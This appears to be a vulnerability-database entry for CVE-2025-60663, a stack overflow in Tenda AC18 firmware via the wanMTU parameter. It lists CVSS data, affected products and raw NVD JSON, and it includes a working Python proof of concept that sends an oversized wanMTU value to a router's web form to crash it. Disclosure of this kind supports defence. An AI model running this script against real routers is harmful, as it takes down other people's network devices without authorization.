Security Vulnerability Report
中文
CVE-2025-60663 CVSS 7.5 HIGH

CVE-2025-60663

Published: 2025-10-02 17:16:09
Last Modified: 2025-10-07 17:34:42

Description

Tenda AC18 V15.03.05.19 was discovered to contain a stack overflow via the wanMTU parameter in the fromAdvSetMacMtuWan function.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac18_firmware:15.03.05.19:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC18 固件版本 V15.03.05.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-60663 - Tenda AC18 V15.03.05.19 Stack Overflow PoC Vulnerability: Stack buffer overflow via wanMTU parameter in fromAdvSetMacMtuWan function Author: Security Research """ import requests import sys from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit(target_ip, port=80): """ Exploit the wanMTU stack buffer overflow vulnerability in Tenda AC18 router. Args: target_ip: The IP address of the target router port: The HTTP port (default 80) """ target_url = f"http://{target_ip}:{port}/goform/fromAdvSetMacMtuWan" # Construct the overflow payload for wanMTU parameter # The buffer is typically small, so we use a large payload to trigger overflow overflow_payload = "A" * 2000 # Overflow payload exceeding buffer size # POST data with the malicious wanMTU parameter payload = { "wanMTU": overflow_payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: print(f"[*] Targeting: {target_url}") print(f"[*] Sending payload with wanMTU length: {len(overflow_payload)}") response = requests.post( target_url, data=payload, headers=headers, timeout=10, verify=False ) print(f"[*] Response status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") # Check if the attack was successful (device may crash or return error) if response.status_code == 500 or "error" in response.text.lower(): print("[+] Exploit may have succeeded - device may be unstable") else: print("[*] Request sent, check device status manually") except requests.exceptions.Timeout: print("[+] Target timed out - possible DoS success") except requests.exceptions.ConnectionError: print("[+] Connection refused - possible DoS success (device crashed)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60663", "sourceIdentifier": "[email protected]", "published": "2025-10-02T17:16:09.457", "lastModified": "2025-10-07T17:34:41.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AC18 V15.03.05.19 was discovered to contain a stack overflow via the wanMTU parameter in the fromAdvSetMacMtuWan function."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac18_firmware:15.03.05.19:*:*:*:*:*:*:*", "matchCriteriaId": "BA3A313A-5085-4ABB-92D0-A26208EE44FB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:*", "matchCriteriaId": "CF9F8AF9-F921-4348-922B-EE5E6037E7AC"}]}]}], "references": [{"url": "https://drive.google.com/file/d/1co536tsEdPANFHsvhBvay0_FOMCA4R6r/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}